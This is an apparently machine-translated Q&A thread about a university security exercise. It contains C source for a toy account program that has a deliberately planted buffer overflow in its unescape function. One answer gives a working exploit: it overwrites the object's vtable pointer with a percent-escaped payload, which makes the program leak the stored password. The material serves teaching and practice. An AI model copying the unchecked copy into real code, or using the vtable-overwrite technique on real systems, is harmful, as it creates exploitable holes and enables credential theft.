嗨,我正在通过一些人对C中的安全问题进行战斗。有人可以帮助找到秘密。哪个是密码prog5_secret。当然,我们有一个预编译的可执行文件,其秘密不是纯文本。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#ifndef MAX_NAME_LEN
#define MAX_NAME_LEN BUFFER_SIZE_DELTA(32)
#endif
#ifndef MAX_LOGIN_LEN
#define MAX_LOGIN_LEN BUFFER_SIZE_DELTA(16)
#endif
#ifndef MAX_PASSWORD_LEN
#define MAX_PASSWORD_LEN BUFFER_SIZE_DELTA(48)
#endif
#ifndef MAX_LINE_LEN
#define MAX_LINE_LEN BUFFER_SIZE_DELTA(128)
#endif
static const char prog5_secret[] SECURE_PASSWD = "@PROGRAM5_PASSWORD@";
/*
* The person class and its virtual function table.
*/
struct person;
struct person_vtable_type;
typedef struct person_vtable_type person_vtable_type;
typedef struct person person;
/*
* Virtual Function Table
*/
struct person_vtable_type {
void (*delete)(person *obj);
void (*print)(person *obj);
};
/*----------------------------------------------------------------------*/
/*
* The mighty person class. In C++ this would look like:
*
* class person {
* public:
* person(const char *login, const char *password, const char *name); // see person_new below.
* virtual ~person(); // see person_delete below
*
* virtual void print(); // see person_print below.
*
* char login[MAX_LOGIN_LEN];
* char password[MAX_PASSWORD_LEN];
* char fullname[MAX_NAME_LEN];
* };
*/
struct person {
/* Member variables */
char login[MAX_LOGIN_LEN];
char password[MAX_PASSWORD_LEN];
char fullname[MAX_NAME_LEN];
/* Member method table (Virtual function table) */
const person_vtable_type *vtable;
};
/*
* Print the information about a person
*/
static void person_print(person *obj) {
printf("%s (%s)\n", obj->login, obj->fullname);
}
/*
* Destructor for person objects
*/
static void person_delete(person *pthis) {
if (pthis != NULL) {
memset(pthis, 0, sizeof(*pthis));
free(pthis);
}
}
static const person_vtable_type person_vtable = { .delete = person_delete,
.print = person_print };
/*
* Constructor for person objects
*/
person *person_new(const char *login, const char *password, const char *name) {
person *pthis = malloc(sizeof(person));
if (pthis == NULL) {
return NULL;
}
memset(pthis, 0, sizeof(*pthis));
/* Initialize the virtual function table */
pthis->vtable = &person_vtable;
/* Initialize the member variables */
strncpy(pthis->login, login, MAX_LOGIN_LEN - 1);
strncpy(pthis->password, password, MAX_PASSWORD_LEN - 1);
strncpy(pthis->fullname, name, MAX_NAME_LEN - 1);
return pthis;
}
/*----------------------------------------------------------------------*/
/*
* Assume one of our developers implemented the following class for internal
* debugging purposes only:
*
* class person_debug : public person_debug
* {
* public:
* person_debug(const char *login, const char *password, const char *name); // see person_debug_new below.
* virtual ~person_debug(); // see person_debug_delete below.
*
* virtual void print(); // see person_debug_print below.
* };
*/
static void person_debug_print(person *obj) {
printf("person object at %p: login:%s, password:%s, fullname:%s\n",
(void *) obj, obj->login, obj->password, obj->fullname);
}
/*
* Destructor for debug person objects
*/
static void person_debug_delete(person *pthis) {
/* Switch the vtable before destructing the
* base class. (the vtable change shown here correctly
* refelcts C++ destructor semantics with respect to
* virtual methods) */
pthis->vtable = &person_vtable;
/* Call the base class destructor */
person_delete(pthis);
}
/*
* Virtual Function Table for debug_person class.
*/
static const person_vtable_type person_debug_vtable = { .delete =
person_debug_delete, .print = person_debug_print };
/*
* Create a debug person object.
*/
person* person_debug_new(const char *login, const char *password, const char *name) {
person *pthis;
/* Construct the base object */
pthis = person_new(login, password, name);
if (pthis == NULL) {
return NULL;
}
/* Now construct "this" object (the vtable change shown here
* correctly reflects C++ constructor semantics with respect to
* virtual methods) */
pthis->vtable = &person_debug_vtable;
return pthis;
}
/*----------------------------------------------------------------------*/
/*
* Convert a character to a hex-nibble
*/
static int char2nibble(char c) {
return (c >= '0' && c <= '9') ? (c - '0') :
(c >= 'a' && c <= 'f') ? (c - 'a' + 10) :
(c >= 'A' && c <= 'F') ? (c - 'A' + 10) : -1;
}
/*
* In-place unescaping of strings.
*/
static int unescape(char *dst, const char *src) {
while (*src != '\0') {
if (*src == '%') {
/* Unescape */
src += 1;
if (*src == '\0') {
/* Premature end of input */
return -1;
} else if (*src == '%') {
/* Unescape % from %% */
*dst++ = '%';
} else {
/* Unescape character 0xYY from %YY */
int hi_nibble;
int lo_nibble;
hi_nibble = char2nibble(*src++);
if (hi_nibble < 0) {
/* Invalid hex char (or '\0') */
return -1;
}
lo_nibble = char2nibble(*src++);
if (lo_nibble < 0) {
/* Invalid hex char (or '\0') */
return -1;
}
/* Build the result */
*dst++ = (hi_nibble << 4) | lo_nibble;
}
} else {
/* Keep character */
*dst++ = *src++;
}
}
*dst = '\0';
return 0;
}
/*----------------------------------------------------------------------*/
int main(int argc, char **argv) {
char buffer[MAX_LINE_LEN];
person *account;
/* Arguments */
if (argc != 2) {
printf("usage: %s <login>\n"
"Update the full name for a user account.\n"
"You need the account password to finish the update.\n",
argv[0]);
return -1;
}
/* We only know a single "root" account */
if (strcmp(argv[1], "root") != 0) {
printf("Unknown account '%s'\n\n"
"\nKU NOTE: We only recognize a fake 'root' account.\n"
"(No real changes are done to your system)\n", argv[1]);
return -1;
}
/* Construct account object (in a real implementation we would
* do a lookup into the account database)
*
* C++: account = new person("root", "@PROGRAM5_PASSWORD@", "The Mighty Administrator");
**/
account = person_new("root", prog5_secret, "The Mighty Administrator");
if (!account) {
printf("error: failed to construct person object\n");
return -1;
}
/* Show current user information */
printf("current user information: ");
/* C++: person->print() */
(account->vtable->print)(account);
/* Ask for the new full name */
printf("new full name? ");
if (!fgets(buffer, sizeof(buffer), stdin) || !strlen(buffer) || buffer[strlen(buffer) - 1] != '\n') {
printf("error: bad input line\n");
/* C++: delete account; */
(account->vtable->delete)(account);
return -1;
}
buffer[strlen(buffer) - 1] = '\0';
/* Unescape the account name */
if (unescape(account->fullname, buffer) != 0) {
printf("error: bad escaped string\n");
/* C++: delete account; */
(account->vtable->delete)(account);
return -1;
}
/* C++: person->print() */
printf("new account info will be: ");
(account->vtable->print)(account);
/* We don't do anything */
printf("failed to update account info (not implemented in this demo)\n");
/* C++: delete account; */
(account->vtable->delete)(account);
return 0;
}
COMMON
/**
* common.h
*/
#ifndef TASK0_COMMON_H_
#define TASK0_COMMON_H_
/*
* Marker for the program secrets
*
* This macro is defined to some magic in
* your precompiled programs ...
*/
#ifndef SECURE_PASSWD
#define SECURE_PASSWD
#endif
/*
* Buffer size delta
*
* This macro is defined to a small random
* constant in your precompiled programs ...
*/
#ifndef BUFFER_SIZE_DELTA_ADJUST
#define BUFFER_SIZE_DELTA_ADJUST (0)
#endif
#define BUFFER_SIZE_DELTA(x) ((x) + BUFFER_SIZE_DELTA_ADJUST)
#endif /* TASK0_COMMON_H_ */
答案 0 :(得分:2)
字符串是第一个要查看的程序。它是一种简单的方法,可以查看程序中存储的字符串文字。
基本用法是:strings executable_name
答案 1 :(得分:1)
unescape
未检查dst
的大小。您可以轻松地将其溢出并覆盖vtable
。将其更改为person_debug_print
,您就完成了。
您可以使用以下内容获取person_debug_vtable
的地址
$ nm a.out | grep person_debug_vtable
0000000000400e90 r person_debug_vtable
这个漏洞就像这样:
$ echo '________________________________%90%0e%40%00%00%00%00%00' | ./a.out root
current user information: root (The Mighty Administrator)
new full name? new account info will be: person object at 0x930010: login:root, password:@PROGRAM5_PASSWORD@, fullname:________________________________�@
failed to update account info (not implemented in this demo)